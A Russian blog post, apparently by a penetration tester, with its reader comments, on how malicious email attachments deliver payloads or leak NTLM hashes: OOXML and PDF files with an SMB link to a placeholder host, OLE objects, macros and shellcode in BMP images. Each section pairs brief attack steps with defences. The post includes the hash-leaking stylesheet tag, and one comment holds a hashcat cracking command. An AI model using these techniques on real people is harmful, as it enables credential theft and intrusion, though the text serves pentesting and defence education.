Моя работа связана с тем, что я вру людям и эксплуатирую их доверчивость, любопытство, жадность и так далее. Работу я свою люблю и стараюсь подходить к ней творчески. Специфика моей деятельности связана с проведением атак методом социальной инженерии. И в этом посте я бы хотела рассказать о вредоносных вложениях.
Если вам на почту свалится PDF, откроете его? А вордовский файл? Станете открывать изображение от неизвестного источника? Можно ли нарваться на неприятности, если скачать архив? Насколько хорошо вы знаете, какие вложения представляют опасность, а какие нет? А что насчет ваших коллег?
За несколько десятков проектов я опробовала совершенно разные способы доставки полезной нагрузки до пользователя. Какие-то были весьма эффективными, какие-то легко обнаруживались – у каждого свои минусы и плюсы. Я не стану рассказывать, как упаковать исполняемые файлы с расширением .exe в архив. С таким старомодным подходом пробиться через системы защиты, а потом еще и заставить пользователя запустить вложение – себе дороже. Я расскажу, какие потенциально опасные файлы реально сегодня получить по почте (или отправить).
Дисклеймер: всё нижеописанное носит исключительно ознакомительный характер. Автор описывает опыт, полученный во время пентестов, не несет ответственности за повтор указанных атак и призывает не использовать материал в незаконных целях.
XML
Суть метода
Большинство Office-файлов основаны на Microsoft Office Open XML (OOXML), который, по сути, представляет собой сжатый XML-формат, разработанный Microsoft для представления таблиц, диаграмм, презентаций и так далее. Причастность к XML отображается в расширении документа (docx, xlsx, pptx). Весьма любопытно, что такие Office-документы можно открыть как обычный текстовый файл со всеми тегами и атрибутами. Любой Office Open XML-файл можно сохранить как XML и внести изменения в теги. Например, добавить ссылку на общедоступную папку, подконтрольную злоумышленнику. При запуске XML файл пытается подключиться к открытой общедоступной папке. При попытке подключения по smb-протоколу Windows любезно предоставляет NTLM-хеш (NTLMv2) и логин пользователя злоумышленнику.
Реализация в двух словах
Для реализации вектора необходимо создать документ Office Open XML (docx, pptx, xlsx, etc.), сохранить его как XML. Открыть XML и внести следующие изменения:
<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx\test\swordfish.xsl">
В указанном теге необходимо прописать адрес общедоступной сетевой папки, к которой будет подключаться жертва.
Примечание: вместо
="\\xxx.xxx.xxx.xxx\test\swordfish.xsl
можно писать file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl
. Далее файл нужно сохранить и отправить жертве.Информацию об атаке можно найти здесь.
Примечание: в зависимости от операционной системы и настроек пользователю, возможно, придется согласиться с дополнительными условиями или замечаниями, например:
Статья была бы неполной без советов по защите:
- Используйте политику сложных паролей.
- Используйте NTLMv2.
- Запретите внешний трафик по smb (tcp 139/445).
Bad-pdf
Суть метода
В PDF-файл добавляется тег со ссылкой на общедоступный smb-сервер, подконтрольный злоумышленнику. Как и в примере выше, при открытии файла операционная система передает NTLM-хеш (NTLMv2) для подключения к общедоступной папке.
Реализация в двух словах
Реализовать данную атаку значительно проще, чем предыдущую. Для успешной кражи хеша достаточно скачать утилиту (git clone здесь или здесь) и дать права на исполнение (chmod +x) python-файлу. Далее запустить python-скрипт и ввести IP-адрес, название файла и интерфейс, как на рисунке ниже.
Генерирование файла с полезной нагрузкой.
Полученный файл можно отправить на почту под видом поздравления, документа на подпись, скана заявления и так далее. При запуске файла все хеши будут отправлены к злоумышленнику.
Защита
- Используйте политику сложных паролей.
- Используйте NTLMv2.
- Запретите внешний трафик по smb (tcp 139/445).
OLE-объект
Суть метода
В легитимный Office-документ встраивается скрипт, запускающийся по клику. Скрипт может быть совершенно любой, обычно это просто полезная нагрузка. Он имеет свою иконку, которую можно менять, в зависимости от желаний атакующего, вплоть до полного копирования стиля Office-документов, имитирующих сообщения об ошибках. В отличие от макросов, файл с OLE-вложением у обычных пользователей пока не вызывает подозрений.
Реализация в двух словах
На подготовку к этой атаке придется потратить несколько больше усилий (по сравнению с теми, что выше). Первым делом необходимо сгенерировать полезную нагрузку. Далее нужно запустить сервер, на который будут приходить соединения от payload, после чего создать Word-документ, преобразовать его в RTF и добавить ссылку на полезную нагрузку. Это если кратко.
Информацию об атаке можно найти здесь.
Защита
Для защиты от таких атак рекомендуется внести следующие изменения в реестр:
HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt
Значение
Office Version
может быть равно 16.0 (Office 2016); 15.0 (Office 2013); 14.0 (Office 2010); или 12.0 (Office 2007). Значение Office application
— это имя конкретного приложения Office, то есть Word, Excel и так далее.Значение данного раздела реестра должно равняться «2», что будет означать «No prompt, Object does not execute» или фактический запрет на выполнение объектов. Значение «1» разрешает пользователю «Prompt from Office when user clicks, object executes», то есть объекты срабатывают по клику, и Office отображает соответствующее сообщение. Значение «0», в свою очередь, означает «No prompt from Office when user clicks, object executes», другими словами, объекты выполняются, но никаких сообщений от Office пользователь не получает.
Изменения можно внести, если эти функции не используются в бизнес-процессах вашей компании.
Макросы
Раз уж был упомянут OLE, то как же не упомянуть макросы?
Суть метода
Макрос — набор команд, который призван упростить работу пользователя. Потенциально можно записать абсолютно любой набор команд в макрос и таким образом получить полезную нагрузку. Для создания документа с макросом злоумышленнику достаточно обфусцировать код пейлоада и добавить код в макрос документа.
Реализация в двух словах
Способов сгенерировать макрос на данный момент существует великое множество. Можно использовать инструмент Luckystrike или остановиться на более привычном Metasploit. Можно воспользоваться msfvenom и обфусцировать макрос после генерации. Когда макрос создан, все, что нужно сделать – добавить его в Office-документ. Но в отличие от OLE-вложения, для запуска макроса нужно приложить действительно массу усилий. На данный момент очень мало пользователей запустят макросы. Windows уже научилась предупреждать о подозрительных макросах, и разговоров об их опасности было великое множество.
Защита
Для надежности рекомендую отключить исполнение макросов без уведомления.
BMP
Очень маловероятно, что вам когда-нибудь встретится BMP-вложение с шелл-кодом, так что просто знайте: и такие бывают.
Суть метода
Шелл-код встраивается в картинку в BMP-формате. Само по себе изображение в момент открытия никакой опасности не представляет. Суть не в том, чтобы дать злоумышленнику поднять сессию. Картинка нужна, чтобы лежать и ждать часа, когда злоумышленник активирует ее с помощью команды Powershell. Это метод не столько атаки, сколько обхода антивирусов и средств обнаружения вторжения.
Реализация в двух словах
Для создания картинки достаточно использовать данный репозиторий. DKMC предусматривает все, от генерации изображения до обфускации кода. Также хочу обратить внимание, что «зараженное» изображение будет содержать странные разноцветные пиксели. Это легко исправить, если обрезать видимую область изображения на 5-10 пикселей.
После создания изображения файл нужно доставить жертве и ждать подходящего случая или искать возможность запустить powershell-скрипт.
Защита
Отфильтровывать каждый bmp-файл как потенциально опасный неэффективно. Можно использовать конверторы и сохранять изображения в иных форматах, проводить инспекцию файлов на компьютерах или принять тот факт, что если у злоумышленника получилось использовать powershell-сркипт на компьютере работника, то наличие изображения с шелл-кодом не основная проблема безопасности.
Вот, собственно, и всё. Надеюсь, статья расширила ваши представления о вложениях и опасностях, которые они могут нести. Чуть позже поговорим о подозрительных ссылках.
Екатерина Рудая (Caterin), эксперт лаборатории практического анализа защищенности, «Инфосистемы Джет»
Комментарии (27)
McDermott
16.10.2018 10:30Шелл-код в файле BMP — насколько он поможет обойти антивирус? Разве антивирус не сработает при попытке запустить этот скрипт?
Caterin
16.10.2018 20:10+1Фокус с BMP поможет обойти антивирус на этапе доставки шелл-кода. При
попытке запуска скрипта все будет упираться в то, насколько «безопасным» для
антивируса выглядит шелл-код.McDermott
17.10.2018 09:21Да, я именно это и имел в виду. Думаю, что какой-то радикально новый и неизвестный для антивируса шелл можно хоть в txt отправить.
prs123
17.10.2018 08:08Объясните, пожалуйста, чем так уж ужасно, что злоумышленник получит внешний ip'ник провайдера и где-то там внутри хеш и логин пользователя? Что он с этим делать-то будет?
McDermott
17.10.2018 09:26Если полученный IP будет выделенным для конкретной компании — можно начинать исследовать корпоративный фаервол или устраивать DDoS на него. Логин можно использовать при фишинге, при продвижении внутрь корпоративной сети или для попытки залогиниться в веб-интерфейсе корпоративной почты.
firedragon
17.10.2018 10:35Успехов комрад. Когда надоест ломать посмотри счет за электричество.
root@The-Distribution-Which-Does-Not-Handle-OpenCL-Well (Kali):~/Desktop/My Stuff/cudaHashcat-1.30# '/root/Desktop/My Stuff/cudaHashcat-1.30/cudaHashcat64.bin' -m 5600 test::test-PC:1122334455667788:CCE958E2567F8FFF0217AB32D4454154:010100000000000038A2288013FACF0139F4C139FC72D23E000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000089466F4E6E55EB571B1DE1F1C0FF5F13300EC7AB644E01BC8BE7C907DDC41D030A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000 '/root/Desktop/My Stuff/cudaHashcat-1.30/example.dict'
mayorovp
17.10.2018 10:59Если пароль словарный, то из хеша его можно достать.
А дальше можно поискать открытые ресурсы, защищенные этим же паролем. Например, VPN для работающих удаленно сотрудников.firedragon
17.10.2018 18:49-1Слишком много допущений. Может быть, а может и не быть, пользователь может быть идиотом, а может им и не быть.
В итоге гугло хром кажется мудаком, натренировав хомячков на зеленый значок.
И что примечательно быдлокодер поставил себе летсенкрипт и все «уверены что БЕЗАПЯСНО!!!»
При чем тыкают в экзешники, потому что GOOGLE сказал что «Этот сайт безопасный».
И сама идея сертификата превратилась в тыкву :(
perlestius
17.10.2018 17:48По теме SMB. Некоторые провайдеры после эпидемии с петями и им подобными стали рубить SMB-трафик абонентам. Причем без возможности снятия блокировки (во всяком случае для физлиц). Лично сталкивался.
P.S. Я к тому, что это дополнительно усложняет взлом, но НЕ отменяет необходимость дополнительной защиты на своей стороне.
firedragon
SMB запрос через файрвол?
Девушка это гипотетический конь в вакууме, вам нужно «пробить» периметр, создать «шару» залить пэйлоад. И все ради того что бы кто то открыл сессию внутри песочницы.
OLE хочется рвать и метать. В частности из за криворучек которым все мешает похоронили такую штуку. Однако офис ругается с самого начала на не подписанные расширения. Система доверия сертификатам для выпуска ПО, я считаю достаточно надежна.
Макросы снова вредные советы. Для того что бы обойти дурацкие ограничения нужно в том же экселе создавать формулы размером до 64кб.
В одном из проектов я заменил это все на макросы и счастью клиента не было предела, потому что можно составлять спецификации из тысяч позиций, которые не тормозят при пересчете.
Зы приведите кстати актуальные версии софта и систем в которых ваши советы применимы.
Дефолтные настройки по моему уже у всех такие, а кто полез тюнить знает зачем.
vesper-bot
Если айпишник предоставлен публичный, винда реально полезет за шарой через Интернет. Способ рабочий, к сожалению, сам тестировал и перекрывал 139/tcp и 445/tcp на внешний интерфейс с log+drop.
firedragon
Я просил указать версии ОС. Надеюсь у вас не «Тру Винда из всех XP»?
Минусующим же скажу безопасность это комплекс мер.
vesper-bot
Windows 8.1, Windows 10. Десятку проверял как с отломанными апдейтами (как сломал, сам не понял), и полностью обновленную на тот момент (1803).
firedragon
Wireshark или что то другое?
Можно сессию из «датчика»?
Мне просто интересно до какого места дошел пакет. Обычная корпоративная сеть, как впрочем и рабочее место как минимум находятся за одним роутером.
И там все эти шалости пресекаются.
anonymous
Считать что корпоративные компьютеры находятся только внутри периметра неправильно. Конечно административную учётку таким способом не достать, но учётку обычного сотрудника, работающего, допустим, из дома вполне возможно.
Как защищаться — принудительный автоматически подключающийся vpn и весь трафик заворачивать на корпоративный файрвол.
Caterin
SMB-запрос имеет право на жизнь. О создании шары внутри периметра вообще
речи не идет. Атака, описанная в статье, реализуема для относительно
небольших компаний, где 445 порт открыт.
Основная проблема с макросами в том, что на каждый макрос Office реагирует
очень остро. В связи с чем замотивировать пользователя запустить макрос
достаточно сложно, каким бы безвредным для антивируса он ни был.